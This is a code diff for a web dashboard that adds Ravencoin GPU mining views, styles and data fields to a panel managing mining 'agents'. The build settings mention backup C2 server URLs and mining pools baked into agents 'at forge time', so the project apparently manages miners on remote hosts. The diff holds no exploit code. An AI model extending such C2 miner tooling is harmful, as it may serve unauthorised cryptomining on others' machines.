size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={gpuAgents.length}
|
||||
max={Math.max(agents.length, 1)}
|
||||
label="GPU Rigs"
|
||||
sublabel={`of ${agents.length} nodes`}
|
||||
color="var(--neon-cyan)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* Stats cards */}
|
||||
<div className="grid-4 stats-grid rvn-stats-grid">
|
||||
<NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Fleet Hash</div>
|
||||
<div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
|
||||
<div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">Top GPU Rig</div>
|
||||
{bestGPUAgent ? (
|
||||
<>
|
||||
<div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
|
||||
{(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
|
||||
</div>
|
||||
<div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
|
||||
</>
|
||||
) : (
|
||||
<><div className="stat-value stat-dim">—</div><div className="stat-sub">none active</div></>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Models</div>
|
||||
<div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
|
||||
{gpuModels.length > 0 ? (
|
||||
gpuModels.slice(0, 2).map((m) => (
|
||||
<div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
|
||||
))
|
||||
) : (
|
||||
<span className="stat-dim">—</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Live Rate</div>
|
||||
<div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
|
||||
<div className="stat-sub">15-second snapshot</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* Per-rig GPU breakdown */}
|
||||
{gpuAgents.length > 0 && (
|
||||
<NeonCard accent="gold" className="rvn-rig-table-card" hud>
|
||||
<div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
|
||||
<div className="rvn-rig-table">
|
||||
{gpuAgents.map((a) => {
|
||||
const hr = a.gpu_hashrate_15m ?? 0;
|
||||
const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
|
||||
return (
|
||||
<div key={a.id} className="rvn-rig-row">
|
||||
<span className="rvn-rig-name font-tech">{a.name}</span>
|
||||
<span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
|
||||
<span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
|
||||
<div className="rvn-rig-bar-wrap">
|
||||
<div
|
||||
className="rvn-rig-bar"
|
||||
style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
|
||||
/>
|
||||
</div>
|
||||
<span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
|
||||
{(a.gpu_temp_c ?? 0) > 0 && (
|
||||
<span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
|
||||
{a.gpu_temp_c}°C
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
|
||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||
|
||||
@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.28rem 0.7rem;
|
||||
}
|
||||
|
||||
/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
|
||||
.mining-coin-label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.65rem;
|
||||
margin: 1.5rem 0 0.75rem;
|
||||
padding: 0.5rem 1rem;
|
||||
border-radius: 6px;
|
||||
background: rgba(0,0,0,0.3);
|
||||
border-left: 3px solid var(--neon-cyan);
|
||||
}
|
||||
|
||||
.monero-label {
|
||||
border-left-color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-label {
|
||||
border-left-color: #f5a623;
|
||||
}
|
||||
|
||||
.coin-badge {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
border-radius: 4px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1em;
|
||||
}
|
||||
|
||||
.xmr-badge {
|
||||
background: rgba(0, 255, 255, 0.15);
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-badge {
|
||||
background: rgba(245, 166, 35, 0.15);
|
||||
color: #f5a623;
|
||||
border: 1px solid #f5a623;
|
||||
}
|
||||
|
||||
.coin-name {
|
||||
font-size: 0.9rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.15em;
|
||||
color: #e0e0e0;
|
||||
}
|
||||
|
||||
.coin-algo {
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.coin-hr {
|
||||
margin-left: auto;
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-label .coin-hr {
|
||||
color: #f5a623;
|
||||
}
|
||||
|
||||
/* ─── RVN Section ────────────────────────────────────────────────────────── */
|
||||
.rvn-section {
|
||||
margin-top: 0.5rem;
|
||||
padding-top: 0.5rem;
|
||||
border-top: 1px solid rgba(245, 166, 35, 0.2);
|
||||
}
|
||||
|
||||
.rvn-hashrate {
|
||||
color: #f5a623 !important;
|
||||
text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
|
||||
}
|
||||
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(3, 1fr);
|
||||
}
|
||||
|
||||
.rvn-stats-grid .rvn-stat-card {
|
||||
background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
|
||||
border: 1px solid rgba(245, 166, 35, 0.2);
|
||||
text-align: center;
|
||||
padding: 1.25rem !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.rvn-stats-grid .rvn-stat-card::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.rvn-stats-grid .stat-label {
|
||||
color: rgba(245, 166, 35, 0.7);
|
||||
letter-spacing: 0.15em;
|
||||
}
|
||||
|
||||
.neon-glow-gold {
|
||||
color: #f5a623;
|
||||
text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
|
||||
}
|
||||
|
||||
/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
|
||||
.rvn-rig-table-card {
|
||||
padding: 1.25rem !important;
|
||||
background: rgba(245,166,35,0.03);
|
||||
border: 1px solid rgba(245,166,35,0.15) !important;
|
||||
}
|
||||
|
||||
.rvn-rig-table {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.6rem;
|
||||
}
|
||||
|
||||
.rvn-rig-row {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
padding: 0.4rem 0.6rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0,0,0,0.25);
|
||||
border-left: 2px solid rgba(245,166,35,0.35);
|
||||
font-size: 0.82rem;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.rvn-rig-row:hover {
|
||||
background: rgba(245,166,35,0.07);
|
||||
}
|
||||
|
||||
.rvn-rig-name {
|
||||
font-size: 0.78rem;
|
||||
color: #c0c0c0;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.rvn-rig-model {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.72rem;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.rvn-rig-hr {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.8rem;
|
||||
font-weight: 600;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-bar-wrap {
|
||||
height: 6px;
|
||||
background: rgba(255,255,255,0.08);
|
||||
border-radius: 3px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.rvn-rig-bar {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg, #f5a623, #ffcc55);
|
||||
border-radius: 3px;
|
||||
box-shadow: 0 0 6px rgba(245,166,35,0.5);
|
||||
transition: width 0.6s ease;
|
||||
}
|
||||
|
||||
.rvn-rig-pct {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.7rem;
|
||||
color: var(--text-muted);
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-temp {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
color: var(--neon-cyan);
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-temp.temp-hot {
|
||||
color: var(--neon-amber);
|
||||
text-shadow: 0 0 6px rgba(255,165,0,0.5);
|
||||
}
|
||||
|
||||
/* RVN GPU section in the Forge */
|
||||
.rvn-pool-picker .pool-preset-provider {
|
||||
color: #f5a623 !important;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) {
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
}
|
||||
.rvn-rig-row {
|
||||
grid-template-columns: 1fr 80px 1fr 42px;
|
||||
}
|
||||
.rvn-rig-model,
|
||||
.rvn-rig-pct { display: none; }
|
||||
}
|
||||
|
||||
@@ -53,6 +53,13 @@ export interface Agent {
|
||||
gpu_temp_c?: number;
|
||||
gpu_usage_pct?: number;
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
gpu_miner_active?: boolean;
|
||||
gpu_hashrate_15s?: number;
|
||||
gpu_hashrate_1m?: number;
|
||||
gpu_hashrate_15m?: number;
|
||||
gpu_model?: string;
|
||||
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
@@ -69,6 +76,7 @@ export interface Agent {
|
||||
services?: AgentService[];
|
||||
|
||||
hostname?: string;
|
||||
mac_address?: string;
|
||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||
latency_ms?: number;
|
||||
}
|
||||
@@ -367,6 +375,14 @@ export interface BuildRequest {
|
||||
backup_pools?: BackupPool[];
|
||||
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
||||
backup_server_urls?: string[];
|
||||
// GPU / Ravencoin mining
|
||||
gpu_enabled?: boolean;
|
||||
rvn_wallet?: string;
|
||||
rvn_pool_host?: string;
|
||||
rvn_pool_port?: number;
|
||||
rvn_pool_tls?: boolean;
|
||||
rvn_pool_pass?: string;
|
||||
rvn_backup_pools?: BackupPool[];
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
|
||||
@@ -39,6 +39,11 @@ export interface WSStatsUpdate {
|
||||
disk_free_pct?: number;
|
||||
gpu_temp_c?: number;
|
||||
gpu_usage_pct?: number;
|
||||
gpu_miner_active?: boolean;
|
||||
gpu_hashrate_15s?: number;
|
||||
gpu_hashrate_1m?: number;
|
||||
gpu_hashrate_15m?: number;
|
||||
gpu_model?: string;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
|
||||
Reference in New Issue
Block a user